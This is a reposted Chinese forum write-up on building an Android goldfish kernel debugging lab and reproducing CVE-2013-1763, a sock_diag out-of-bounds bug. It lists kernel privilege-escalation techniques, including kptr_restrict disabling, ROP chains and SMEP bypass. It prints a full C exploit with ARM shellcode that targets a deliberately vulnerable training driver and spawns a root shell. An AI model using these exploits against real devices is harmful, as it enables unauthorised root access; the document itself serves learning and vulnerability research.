搭建 Android 内核环境

栏目: IT技术 · 发布时间: 4年前

搭建 Android 内核环境

本文为看雪论坛优秀文章

看雪论坛作者ID: Dawuge

本来是想尝试在Android下复现,但最后还是只在 Linux 下复现成功了,可能还是出现了些纰漏的地方。

以前搭建过linux的内核环境,当时是为了做kernel pwn搭建的,但是尝试复现Android kernel的漏洞,虽说原理相同,但还是重新搭建了新的环境。

搭建环境的步骤基本没遇到什么大坑,跟着这个库 https://github.com/Fuzion24/AndroidKernelExploitationPlayground) 走基本就没遇到什么大坑。

配置

playground

├── android-sdk-linux

├── arm-linux-androideabi-4.6

├── goldfish

└── kernel_exploit_challenges

git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6

git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish && \

git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges && \

cd goldfish && git checkout -t origin/android-goldfish-3.4 && \

git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \

cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities

搭建内核

export ARCH=arm SUBARCH=arm CROSS_COMPILE=arm-linux-androideabi- &&\

export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH && \

cd goldfish && make goldfish_armv7_defconfig && make -j8

编译完成后,就会有两个主要的文件: goldfish/vmlinux 和 goldfish/arch/arm/boot/zImage 。前面那个用于在调试时 gdb加载,后面的用于在安卓模拟器启动时加载。

vmlinux 用于提供符号表,zImage 则用于运行环境。

然后下载或者编译sdk,下载完成后解压并将 android-sdk-linux/tools 加入环境变量(.bashrc)。

wget http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz

tar xvf android-sdk_r24.4.1-linux.tgz

export PATH=YOURPATH/android-sdk-linux/tools:$PATH

还要下jdk,在终端中输入 android,下载我们需要的 SDK 和系统镜像。

搭建 Android 内核环境

运行模拟器

创建模拟器:

android create avd --force -t "android-19" -n kernel_challenges

其选项按需求选择,反正我一开始是一路enter的。

接下来进入 goldfish 目录,执行下面的命令用我们的内核运行模拟器,并在 1234 端口 起一个 gdbserver 方便内核调试。

emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s

再开一个 shell,进入 goldfish 目录,加载 vmlinux 以便调试内核:

arm-linux-androideabi-gdb vmlinux

这里的gdb注意因为前面export path了,所以实际路径是在arm-linux-androideabi-4.6/bin里。

出现arm-linux-androideabi-gdb: error while loading shared libraries: libpython2.6.so.1.0: cannot open shared object file: No such file or directory问题时用以下方法即可:

ln -s /usr/lib/x86_64-linux-gnu/libpython2.7.so /lib/x86_64-linux-gnu/libpython2.6.so.1.0

这样基本上就可以调试内核了。

整体来说不太复杂,就是拖文件够呛,网络太差了orz。

之前调试kernel pwn题的时候还要烦些,后来用了两种方式搞定kernel环境,一是在虚拟机里搞定后再在本机的vscode 用ssh连接虚拟机,就实现了在vscode边写代码边测试的路子(很舒服),后来还是觉得麻烦因为要关hyper,不能使用wsl处理一般事务,于是就直接在我的pwn docker里直接搭建环境也成功了,然后再用 docker 共享文件也实现了边写代码边测试的路子(更舒服而且cpu的负荷啥的也小),具体搭建kernel环境的步骤不再累述,网上很多。

二更:分析了cve-2013-1763, 还是踩了一些坑

放一下一些内核的安全利用点(很不全),可以直接看ctf wiki或者其他的类似博客,大佬略过即可。

KASLR

内核地址空间随机化,内核地址显示限制,即kptr restrict指示是否限制通过/ proc和其他接口暴露内核地址。

0:默认情况下,没有任何限制。

1:使用%pK格式说明符打印的内核指针将被替换为0,除非用户具有CAP SYSLOG特权。

2:使用%pK打印的内核指针将被替换为0而不管特权。

也就是说,当kptr_ restrict被限制的时候我们不能直接通过cat /proc/kallsyms来获得commit_creds的地址,要禁用该限制使用下面的命令:

sudo sysctl -w kernel.kptr_restrict=0

内核的rop:

|----------------------|

| pop rdi; ret |<== low mem

|----------------------|

| NULL |

|----------------------|

| addr of |

| prepare_kernel_cred()|

|----------------------|

| mov rdi, rax; ret |

|----------------------|

| addr of |

| commit_creds() |<== high mem

|----------------------|

smep

smep位于CR4寄存器的第20位,设置为1。CR4寄存器的值:0x1407f0 = 0001 0100 0000 0111 1111 0000

关闭SMEP方法


修改/etc/default/grub文件中的GRUB_CMDLINE_LINUX="",加上nosmep/nosmap/nokaslr,然后update-grub就好。

绕过smep的方法

由于我们只能在内核空间执行代码,但是不能把ROP链放到内核空间中,所以只能用stack pivot把ROP链放到用户空间。然后在内核空间找到合适的gadget放到ROP链中。

stack pivot

mov rXx, rsp ; ret

add rsp, ...; ret

xchg rXx, rsp ; ret(xchg eXx, esp ; ret)

xchg rsp, rXx ; ret(xchg esp, eXx ; ret)

还有一种比较简单的绕过SMEP的方法是使用ROP翻转CR4的第20位并禁用SMEP,然后再执行commit_creds(prepare_kernel_cred(0))获取root权限。

如下构造:

offset of rip

pop rdi; ret

mov CR4, rdi; ret

commit_creds(prepare_kernel_cred(0))

swapgs

iretq

RIP

CS

EFLAGS

RSP

SS

漏洞的问题点其实不难,做过一点pwn的师傅们都能看的出来是个OOB类型的漏洞,简要分析下。

先看patch,发现增加了个对req->sdiag_family的大小检查,于是定位到这个函数。

搭建 Android 内核环境

发现外面还有个封装,不难看出要触发这个函数需要nlh的nlmsg_type类型为SOCK_DIAG_BY_FAMILY。

搭建 Android 内核环境

static int sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)

{

int ret;

switch (nlh->nlmsg_type) {

case TCPDIAG_GETSOCK:

case DCCPDIAG_GETSOCK:

if (inet_rcv_compat == NULL)

request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,

NETLINK_SOCK_DIAG, AF_INET);

mutex_lock(&sock_diag_table_mutex);

if (inet_rcv_compat != NULL)

ret = inet_rcv_compat(skb, nlh);

else

ret = -EOPNOTSUPP;

mutex_unlock(&sock_diag_table_mutex);

return ret;

case SOCK_DIAG_BY_FAMILY:

return __sock_diag_rcv_msg(skb, nlh);

default:

return -EINVAL;

}

}

可以在linux手册 http://man7.org/linux/man-pages/man7/netlink.7.html 上看到nlmsghdr结构:

struct nlmsghdr {

__u32 nlmsg_len; /* Length of message including header */

__u16 nlmsg_type; /* Type of message content */

__u16 nlmsg_flags; /* Additional flags */

__u32 nlmsg_seq; /* Sequence number */

__u32 nlmsg_pid; /* Sender port ID */

};

nlmsg_type can be one of the standard message types: NLMSG_NOOP mes‐

sage is to be ignored, NLMSG_ERROR message signals an error and the

payload contains an nlmsgerr structure, NLMSG_DONE message terminates

a multipart message.

要想调用到该结构体,需要使用NETLINK_SOCK_DIAG协议的Netlink套接字发送消息,具体可参考netlink编程 http://edsionte.com/techblog/archives/4140) 或Netlink Socket https://my.oschina.net/longscu/blog/59534 ,这里就不再累述。

再看__sock_diag_rcv_msg函数,可以知道,如果没有patch,那么在sock_diag_lock_handler的参数我们可以调用超过AF_MAX大小的值。

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)

{

int err;

struct sock_diag_req *req = nlmsg_data(nlh);

const struct sock_diag_handler *hndl;

if (nlmsg_len(nlh) < sizeof(*req))

return -EINVAL;

if (req->sdiag_family >= AF_MAX)

return -EINVAL;

hndl = sock_diag_lock_handler(req->sdiag_family);

if (hndl == NULL)

err = -ENOENT;

else

err = hndl->dump(skb, nlh);

sock_diag_unlock_handler(hndl);

return err;

}

再看sock_diag_lock_handler以及sock_diag_handlers函数组的定义,发现在这里就出现了OOB的问题。

static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)

{

if (sock_diag_handlers[family] == NULL)

request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,

NETLINK_SOCK_DIAG, family);

mutex_lock(&sock_diag_table_mutex);

return sock_diag_handlers[family];

}

static const struct sock_diag_handler *sock_diag_handlers[AF_MAX];

根据上面的一些介绍和链接参考基本上就能知道要如何去构造而exp了, 我看网络上公布的exp大致原理相同,可参考 1 , 2 , 3

,而

AndroidKernelExploitationPlayground是自己实现了个类似的漏洞,大致原理原理类似,但无需构造socket去与他交互和填充具体的结构体数值,更加好理解些。

exp的分析一起写在代码里了。

#include <stdio.h>

#include <strings.h>

#include <fcntl.h>

#include <sys/mman.h>

#include "../../module/CommandHandler.h"

#include "dbg.h"

__u32

get_symbol(char *name)

{

FILE *f;

__u32 addr;

char dummy, sname[512];

int ret = 0;

//在/proc/kallsyms文件中存放着结构体的地址,需要读取用来先对偏移

//如果系统开启了内核地址显示限制可以用这个命令禁用

//sudo sysctl -w kernel.kptr_restrict=0

f = fopen("/proc/kallsyms", "r");

if (!f) {

return 0;

}

while (ret != EOF) {

ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);

if (ret == 0) {

fscanf(f, "%s\n", sname);

continue;

}

if (!strcmp(name, sname)) {

printf("[+] resolved symbol %s to %p\n", name, (void *) addr);

return addr;

}

}

return 0;

}

__u32 commit_creds;

__u32 prepare_kernel_cred;

int main(void){

//基本思路一样的,都是最终调用commit_creds(prepare_kernel_cred(0));

commit_creds = get_symbol("commit_creds");

prepare_kernel_cred = get_symbol("prepare_kernel_cred");

//这个是封装在AndroidKernelExploitationPlayground环境内的漏洞文件位置(这里和其他的exp不同,重点没有去构造socket与其交互,而是直接用其自己实现的伪“函数”,然后用ioctl与其交互。

int cmd_handler = open("/dev/array_index", O_RDWR);

check(cmd_handler >= 0, "Error opening challenge device");

//这里就是构造一块可入可写可执行的用户空间,在这段空间内布置rop链

__u32 mmap_start = 0x02000000, mmap_size = 0x15000;

printf("[+] Mapping userspace memory at 0x%x\n", mmap_start);

void * mapped = mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,

MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);

check(mapped != MAP_FAILED, "Failed mapping");

//0x00000000 is nop for ARM

bzero( (void*)mmap_start, mmap_size );

//这里是arm上的exp,学过arm pwn的师傅们应该也不觉得陌生

//先将prepare_kernel_creds的位置放入r3,在把参数赋为0,即prepare_kernel_creds(0)

//调用r3内的函数(即prepare_kernel_creds)后,由于r0同时担当了保存返回值的角色,于是只需将接下来调用的寄存器赋为commit_creds即可

__u32 jump[] = {

//00000000 <_start>:

/* 0:*/ 0xe92d4010, // push {r4, lr}

/* 4:*/ 0xe59f3010, // ldr r3, [pc, #16] ; 1c <_start+0x1c> (prepare_kernel_creds)

/* 8:*/ 0xe3a00000, // mov r0, #0

/* c:*/ 0xe12fff33, // blx r3

/* 10:*/ 0xe59f3008, // ldr r3, [pc, #8] ; 20 <_start+0x20> (commit_creds)

/* 14:*/ 0xe12fff33, // blx r3

/* 18:*/ 0xe8bd8010, // pop {r4, pc}

/* 1c:*/ prepare_kernel_cred, // .word prepare_kernel_cred

/* 20:*/ commit_creds // .word commit_creds

};

memcpy( (void*)mmap_start+mmap_size - sizeof(jump), jump, sizeof(jump));

/*这里看一下触发的函数吧,都是OOB,但是没那么复杂,不需要构造socket交互,而是换为了ioctl

CommandHandler handlers[] = {

{

.runHandler = &doNothingIntializer

},

{

.runHandler = &doNothingIntializer

}

};

long ai_ch_ioctl(struct file *filp,

unsigned int cmd,

unsigned long arg)

{

unsigned int handler_index = arg;

switch (cmd) {

case RUN_COMMAND_HANDLER:

handlers[handler_index].runHandler();

break;

default :

printk("Unknown ioctl cmd: %d", cmd);

return -1;

}

return 0;

}*/

printf("[+] Triggering the exploit\n");

int rc = ioctl(cmd_handler, RUN_COMMAND_HANDLER, 0x601);

check(rc != -1, "IOCTL failed");

printf("uid=%d, euid=%d\n",getuid(), geteuid() );

if(!getuid())

execl( "/system/bin/sh", "sh", (char*) NULL);

return 0;

error:

return -1;

}

最后运行时需要注意,不要用串了。我一开始用错一个exp,直接用了exploit-db上的exp,而其对应的linux内核版本是3.3-3.8,而在Android模拟器上复现的话,还是用ndk编译,且具体的数据构造和exp内容(特别是汇编部分)还是不一样的,注意查看下对应的系统结构比如下面这个,注意对应的gcc版本,一开始没注意还运行不起来。

Linux version 3.4.67-g5e0dcfb (test@test-virtual-machine) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 PREEMPT Sun Mar 8 14:27:12 CST 2020

执行后程序报错,可能还是有些不准,pc值是0有些迷惑。

Unable to handle kernel NULL pointer dereference at virtual address 00000000

pgd = d77c4000

[00000000] *pgd=177bc831, *pte=00000000, *ppte=00000000

Internal error: Oops: 80000017 [#1] PREEMPT ARM

CPU: 0 Not tainted (3.4.67-g5e0dcfb #1)

PC is at 0x0

LR is at ai_ch_ioctl+0x20/0x40

pc : [<00000000>] lr : [<c025c1c0>] psr: 60000013

sp : d77a3f18 ip : 00000005 fp : bec41b48

r10: 00000000 r9 : d77a2000 r8 : 00000000

r7 : 00000005 r6 : d768cc80 r5 : de05d590 r4 : 00000601

r3 : 00000000 r2 : c04adc40 r1 : 00001337 r0 : d768cc80

Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user

Control: 10c53c7d Table: 177c4059 DAC: 00000015

[<c025c1c0>] (ai_ch_ioctl+0x20/0x40) from [<c00bf208>] (do_vfs_ioctl+0x560/0x5d4)

[<c00bf208>] (do_vfs_ioctl+0x560/0x5d4) from [<c00bf2c8>] (sys_ioctl+0x4c/0x6c)

[<c00bf2c8>] (sys_ioctl+0x4c/0x6c) from [<c000d680>] (ret_fast_syscall+0x0/0x30)

Code: bad PC value

---[ end trace 6e436d5d54b1e15f ]---

Kernel panic - not syncing: Fatal exception

未完待续吧,这个库里面还是有很多其他漏洞的,也推荐给想做arm上kernel漏洞复现的同学,但可能给android上的体会不太深,比较和Linux内核类似,且这次踩坑的时候心态有些炸了,具体的调试分析也直接草草分析过掉,希望下次能好些吧,争取复现下其他层次的漏洞。

唉,漫漫长路啊。

搭建 Android 内核环境

看雪ID: Dawuge

https://bbs.pediy.com/user-837839.htm  

*本文由看雪论坛 Dawuge 原创,转载请注明来自看雪社区。

搭建 Android 内核环境


以上所述就是小编给大家介绍的《搭建 Android 内核环境》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Perl高效编程

Perl高效编程

霍尔 / 胜春、王晖、张东亮、蒋永清 / 人民邮电出版社 / 2011-5 / 65.00元

《Perl高效编程(第2版)》,本书是Perl编程领域的“圣经级”著作。它提供了一百多个详实的应用案例,足以涵盖编程过程中经常遇到的方方面面,由此详细阐释出各种高效且简洁的写法。一起来看看 《Perl高效编程》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

MD5 加密
MD5 加密

MD5 加密工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器